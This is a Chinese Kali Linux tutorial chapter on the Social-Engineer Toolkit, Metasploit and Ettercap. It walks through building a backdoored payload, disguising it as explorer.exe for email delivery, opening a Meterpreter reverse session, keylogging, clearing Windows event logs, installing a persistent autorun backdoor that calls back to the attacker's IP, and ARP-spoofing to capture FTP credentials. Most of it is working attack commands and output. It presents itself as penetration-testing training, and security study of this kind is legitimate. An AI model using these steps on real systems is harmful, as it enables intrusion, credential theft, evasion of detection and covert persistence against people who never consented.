(大學霸KALI)7.3 使用社會工程學工具包(SET)


社會工程學工具包(SET)是一個開源的、Python驅動的社會工程學滲透測試工具。這套工具包由David Kenned設計,而且已經成為業界部署實施社會工程學攻擊的標准。SET利用人們的好奇心、信任、貪婪及一些愚蠢的錯誤,攻擊人們自身存在的弱點。使用SET可以傳遞攻擊載荷到目標系統,收集目標系統數據,創建持久后門,進行中間人攻擊等。本節將介紹社會工程學工具包的使用。

7.3.1 啟動社會工程學工具包

使用社會工程學工具包之前,需要啟動該工具。具體操作步驟如下所示。

(1)啟動SET。在終端執行如下所示的命令:

root@kali:~# setoolkit

或者在桌面上依次選擇“應用程序”|Kali Linux|“漏洞利用工具集”|Social Engineering Toolkit|setoolkit命令,將自動打開一個顯示setoolkit命令運行的終端。

執行以上命令后,將輸出如下所示的信息:

[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123
[-] Verifying configuration update…
[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123
[*] SET is using the new config, no need to restart
Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
   in the documentation and/or other materials provided with the distribution.
  * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from
   this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.
Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author
holds the right to refuse the hug or the beer.
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are
not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting
yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.
Do you agree to the terms of service [y/n]:

輸出的信息詳細的介紹了SET。該信息在第一次運行時,才會顯示。在該界面接受這部分信息后,才可進行其他操作。此時輸入y,將顯示如下所示的信息:

217-01

以上顯示了社會工程學工具包的創建者、版本、代號及菜單信息。此時可以根據自己的需要,選擇相應的編號進行操作。

(2)這里選擇攻擊社會工程學,在菜單中的編號為1,所以在set>后面輸入1,將顯示如下所示的信息:

set> 1
     Welcome to the Social-Engineer Toolkit (SET).
     The one stop shop for all of your SE needs.
   Join us on irc.freenode.net in channel #setoolkit
  The Social-Engineer Toolkit is a product of TrustedSec.
           Visit: https://www.trustedsec.com
Select from the menu:
  1) Spear-Phishing Attack Vectors
  2) Website Attack Vectors
  3) Infectious Media Generator
  4) Create a Payload and Listener
  5) Mass Mailer Attack
  6) Arduino-Based Attack Vector
  7) SMS Spoofing Attack Vector
  8) Wireless Access Point Attack Vector
  9) QRCode Generator Attack Vector
 10) Powershell Attack Vectors
 11) Third Party Modules
 99) Return back to the main menu.
set>

以上信息顯示了攻擊社會工程學的菜單選項,這時就可以選擇攻擊工程學的類型,然后進行攻擊。

(3)這里選擇創建一個攻擊載荷和監聽器,輸入編號4,如下所示:

218-01

輸出的信息顯示了可生成的所有攻擊載荷,此時根據自己的目標系統選擇相應的攻擊載荷。

(4)本例中攻擊的目標系統為Windows XP 32位,所以這里選擇編號2。如下所示:

set:payloads> 2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.
  1) shikata_ga_nai
  2) No Encoding
  3) Multi-Encoder
  4) Backdoored Executable

輸出的信息顯示了獲取基於AV攻擊的幾種方法。

(5)這里選擇第4種,輸入編號4,如下所示:

219-01

輸出的信息顯示了設置社會工程學的一個過程,在該過程中將指定的IP地址與端口進行了綁定,並且打開了一個handler。這里將IP地址與端口進行綁定,是因為一個主機上可能存在多個網卡,但是端口號是不變的。這樣啟動監聽器后攻擊主機將等待被滲透攻擊的系統來連接,並負責處理這些網絡連接。

7.3.2 傳遞攻擊載荷給目標系統

攻擊載荷(Payload)指的是用戶期望目標系統在被滲透攻擊之后執行的代碼。在Metasploit框架中可以自由地選擇、傳送和植入。例如,反彈式Shell是一種從目標主機到攻擊主機創建網絡連接,並提供命令行Shell的攻擊載荷,而Bind Shell攻擊載荷則在目標系統上將命令行Shell綁定到一個打開的監聽端口,攻擊者可以連接這些端口來取得Shell交互。攻擊載荷也可能是簡單的在目標系統上執行一些命令,如添加用戶賬號等。下面將介紹創建攻擊載荷給目標系統的方法。

傳遞攻擊載荷給目標系統。具體操作步驟如下所示。

(1)社會工程學工具默認安裝在/usr/share/set下,在該目錄中有一個EXE文件,名為payload.exe。在滲透測試時為了避免被目標主機用戶發現,建議修改該文件名,然后再發送給其他人。發送給其他人的方法很多,如郵件和存儲在優盤等。首先切換到/usr/share/set目錄中,查看該目錄下的文件。執行命令如下所示:

220-01

從以上內容中可以看到有一個名為payload.exe的文件。接下來可以修改該文件的名為explorer.exe,然后發送給其他人。

(2)修改payload.exe文件名。執行命令如下所示:

220-02

從以上內容可以看到,目前只有一個名為explorer.exe文件。

(3)將該文件傳遞給其他人。如果使用郵件的形式傳遞,需要將該文件進行壓縮。因為郵件不支持發送EXE文件。可以使用ZIP命令壓縮該文件,如下所示:

root@kali:/usr/share/set# zip healthfiles explorer.exe
 adding: explorer.exe (deflated 88%)

從輸入內容可以看到,explorer.exe文件被成功壓縮。此時,就可以通過郵件的形式發送給其他人。當該內容被目標系統中的用戶打開后,將會與攻擊者建立一個活躍的會話。如下所示:

msf exploit(handler) >
[*] Sending stage (769024 bytes) to 192.168.41.146
[*] Meterpreter session 1 opened (192.168.41.234:443 -> 192.168.41.146:2126) at 2014-05-06 19:25:43 +0800

看到以上內容,表示目標系統與攻擊者成功建立了會話。現在,攻擊者就可以在目標系統上做自己想要做的事。

7.3.3 收集目標系統數據

在前面介紹了將攻擊載荷傳遞給目標系統,並成功建立會話。當成功建立會話后,攻擊者可以從目標系統中收集其數據。收集目標系統的數據,使用戶盡可能使用這些信息做進一步滲透攻擊。下面將介紹收集目標系統的數據。收集目標系統數據的具體操作步驟如下所示。

(1)激活Meterpreter會話。執行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

(2)開啟鍵盤記錄器。執行命令如下所示:

meterpreter > keyscan_start
Starting the keystroke sniffer…

(3)收集目標系統中的數據。執行命令如下所示:

meterpreter > keyscan_dump
Dumping captured keystrokes…
 <Return> <Return> <Return> <N1> <Return> 2 <Return> 34

從輸出的信息可以看到,目標系統執行過回車鍵、輸入了數字1、2和34等。

7.3.4 清除蹤跡

當攻擊者入侵目標系統后,做的任何操作都可能會被記錄到目標系統的日志文件中。為了不被目標系統所發現,清除蹤跡是非常重要的工作。因為如果被發現,可能帶來很大的麻煩。現在用戶不用擔心這個問題了,因為Metasploit提供了一種方法可以很容易的來清除所有蹤跡。下面將介紹使用Metasploit清除蹤跡的方法。使用Metasploit清除蹤跡的具體操作步驟如下所示。

(1)激活Meterpreter會話。執行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

(2)在Metasploit中的irb命令可以清除蹤跡。執行命令如下所示:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>

輸出的信息中看到>>提示符,表示成功運行了irb命令。

(3)設置想要刪除的日志。常用的日志選項如下所示:

  • log = client.sys.eventlog.open('system');
  • log = client.sys.eventlog.open('security');
  • log = client.sys.eventlog.open('application');
  • log = client.sys.eventlog.open('directory service');
  • log = client.sys.eventlog.open('dns server');
  • log = client.sys.eventlog.open('file replication service')。

這里清除所有日志。執行命令如下所示:

>> log = client.sys.eventlog.open('system')
>> log = client.sys.eventlog.open('security')
>> log = client.sys.eventlog.open('application')
>> log = client.sys.eventlog.open('directory service')
>> log = client.sys.eventlog.open('dns server')
>> log = client.sys.eventlog.open('file replication service')

執行以上命令后,表示指定了要清除的日志。接下來需要執行log.clear命令才可以清除日志文件。執行命令如下所示:

>> log.clear

執行以上命令后,將會隱藏用戶的蹤跡。

7.3.5 創建持久后門

當成功獲取目標系統的訪問權限后,需要尋找方法來恢復與目標主機的連接,而無需再進入目標系統。如果目標用戶破壞了該連接,例如重新啟動計算機,此時使用后門將允許自動重新與目標系統建立連接。為了后續滲透方便,所以需要創建一個后門。這樣,即使連接被中斷,也不會影響工作。下面將介紹創建持久后門。創建持久后門的具體操作步驟如下所示。

(1)激活Meterpreter會話。執行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >

(2)創建持久后門之前,先查看下它的幫助文件。執行命令如下所示:

222-01

以上信息顯示了持久后門的一些選項。使用不同的選項,來設置后門。

(3)創建一個持久后門。執行命令如下所示:

meterpreter > run persistence -U -A -i 10 - 8090 -r 192.168.41.234
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
AA-886OKJM26FSW_20140507.2857/AA-886OKJM26FSW_20140507.2857.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444
[*] Persistent agent script is 148405 bytes long
[+] Persistent Script written to C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[+] Agent executed with PID 1612
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe

輸出的信息顯示了創建后門的一個過程。在以上信息中可以看到,在目標系統中創建了一個持久腳本,保存在C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs。並且,該腳本會自動在目標主機上運行,此時將會建立第二個Meterpreter會話。如下所示:

meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at 2014-05-07 16:25:47 +0800

看到以上的輸出信息,表示該持久后門已創建成功。

7.3.6 中間人攻擊(MITM)

中間人攻擊(Man in the Middle Attack,簡稱“MITM攻擊”)是一種間接的入侵攻擊。這種攻擊模式是通過各種技術手段,將受入侵者控制的一台計算機虛擬放置在網絡連接中的兩台通信計算機之間,這台計算機就稱為“中間人”。下面將介紹使用Ettercap工具實現中間人攻擊。

1. 存在的漏洞

前面介紹了中間人攻擊是通過使用各種技術手段對目標主機進行攻擊的。主機既然被攻擊,則說明在傳輸數據的過程中存在有漏洞。接下來就分析一下所存在的漏洞。

當主機之間進行通信時,通過封裝數據包進而轉發到目標主機上。轉發的數據包中包括源IP地址、目標IP地址及MAC地址。但是當主機在自己的緩存表中找不到目標主機的地址時,它會發送ARP廣播,在此過程中就可能被其他攻擊者冒充目標主機。

2. ARP欺騙原理

實施中間人攻擊時,攻擊者常考慮的方式是ARP欺騙或DNS欺騙等。下面以常見ARP欺騙為例,分別介紹一下ARP欺騙原理。

一般情況下,ARP欺騙並不是使網絡無法正常通信,而是通過冒充網關或其他主機使得到達網關或主機的數據流通過攻擊主機進行轉發。通過轉發流量可以對流量進行控制和查看,從而控制流量或得到機密信息。ARP欺騙主機的流程如圖7.2所示。

如圖7.2所示,當主機A和主機B之間通信時,如果主機A在自己的ARP緩存表中沒有找到主機B的MAC地址時,主機A將會向整個局域網中所有計算機發送ARP廣播,廣播后整個局域網中的計算機都收到了該數據。這時候,主機C響應主機A,說我是主機B,我的MAC地址是XX-XX-XX-XX-XX-XX,主機A收到地址后就會重新更新自己的緩沖表。當主機A再次與主機B通信時,該數據將被轉發到攻擊主機(主機C)上,則該數據流會經過主機C轉發到主機B。

224-01

圖7.2 ARP欺騙主機

3. 中間人攻擊

實現中間人攻擊分為兩個階段。第一是通過某種手段去攻擊一台計算機;第二是欺騙主機。這兩個階段工作工程如圖7.3和圖7.4所示。

第一階段:

224-02

圖7.3 ARP注入攻擊

在該階段主機B通過ARP注入攻擊的方法以實現ARP欺騙,通過ARP欺騙的方法控制主機A與其他主機間的流量及機密信息。

第二階段:

在第一個階段攻擊成功后,主機B就可以在這個網絡中使用中間人的身份,轉發或查看主機A和其他主機間的數據流,如圖7.4所示。

224-03

圖7.4 中間人攻擊機制

(1)在這個局域網中當主機A向主機C發送請求,此時該數據將被發送到主機B上。

(2)主機A發送給主機C的數據流將會經主機B轉發到主機C上。

(3)主機C收到數據以為是主機A直接發送的。此時主機C將響應主機A的請求,同樣的該數據流將會被主機B轉發到主機A上。

(4)主機A收到響應后,將登錄主機C。這樣主機A登錄時的用戶名及密碼,將會被主機B查看到。

使用Ettercap工具實現中間人攻擊。具體操作步驟如下所示。

(1)啟動Ettercap工具。執行命令如下所示:

root@kali:~# ettercap -G

執行以上命令后,將顯示如圖7.5所示的界面。

225-01

圖7.5 Ettercap啟動界面

(2)該界面是Ettercap工具的初始界面。接下來通過抓包的方法實現中間人攻擊。在菜單欄中依次選擇Sniff|Unified sniffing命令或按下Shift+U組合鍵,將顯示如圖7.6所示的界面。

225-02

圖7.6 啟動嗅探

(3)在該界面單擊Unified sniffing命令后,將顯示如圖7.7所示的界面。

226-01

圖7.7 選擇接口

(4)在該界面選擇網絡接口。這里選擇eth0,然后單擊“確定”按鈕,將顯示如圖7.8所示的界面。

226-02

圖7.8 啟動接口界面

(5)啟動接口后,就可以掃描所有的主機了。在菜單欄中依次選擇Hosts|Scan for hosts命令或按下Ctrl+S組合鍵,如圖7.9所示。

226-03

圖7.9 啟動掃描主機

(6)在該界面單擊Scan for hosts命令后,將顯示如圖7.10所示的界面。

227-01

圖7.10 掃描主機界面

(7)從該界面輸出的信息可以看到共掃描到五台主機。如果要查看掃描到主機的信息,在菜單欄中依次選擇Hosts|Hosts list命令或按下H鍵,如圖7.11所示。

227-02

圖7.11 打開主機列表

(8)在該界面單擊Hosts list命令后,將顯示如圖7.12所示的界面。

227-03

圖7.12 掃描到的所有主機

(9)該界面顯示了掃描到的五台主機的IP地址和MAC地址。在該界面選擇其中一台主機,作為目標系統。這里選擇192.168.41.151主機,然后單擊Add to Target 1按鈕。添加目標系統后開始嗅探數據包,在菜單欄中依次選擇Start|Start sniffing命令或按下Ctrl+W組合鍵,如圖7.13所示。

228-01

圖7.13 開始掃描

(10)啟動嗅探后,通過使用ARP注入攻擊的方法獲取到目標系統的重要信息。啟動ARP注入攻擊,在菜單欄中依次選擇Mitm|Arp poisonig…命令,如圖7.14所示。

228-02

圖7.14 Arp注入攻擊圖

(11)單擊Arp poisonig命令后,將顯示如圖7.15所示的界面。在該界面選擇攻擊的選項,這里選擇Sniff remote connections。然后單擊“確定”按鈕,將顯示如圖7.16所示的界面。

228-03

圖7.15 攻擊選項

228-04

圖7.16 攻擊界面

(12)此時,當某個用戶登錄192.168.41.151主機時,它的敏感信息將會被傳遞給攻擊者。本例中捕獲到的敏感信息如圖7.17所示。

229-01

圖7.17 捕獲到的敏感信息

(13)從該界面可以看到,有用戶登錄192.168.41.151主機的FTP服務器了。其用戶名為anonymous,密碼為123456。獲取這些信息后停止嗅探,在菜單欄中依次單擊Start|Stop sniffing命令,如圖7.18所示。

229-02

圖7.18 停止嗅探

(14)停止嗅探后,還需要停止中間人攻擊。在菜單欄中依次單擊Mitm|Stop mitm attack(s)命令,將顯示如圖7.19所示的界面。

229-03

圖7.19 停止中間人攻擊

(15)在該界面單擊“確定”按鈕,這樣就成功的完成了中間人攻擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM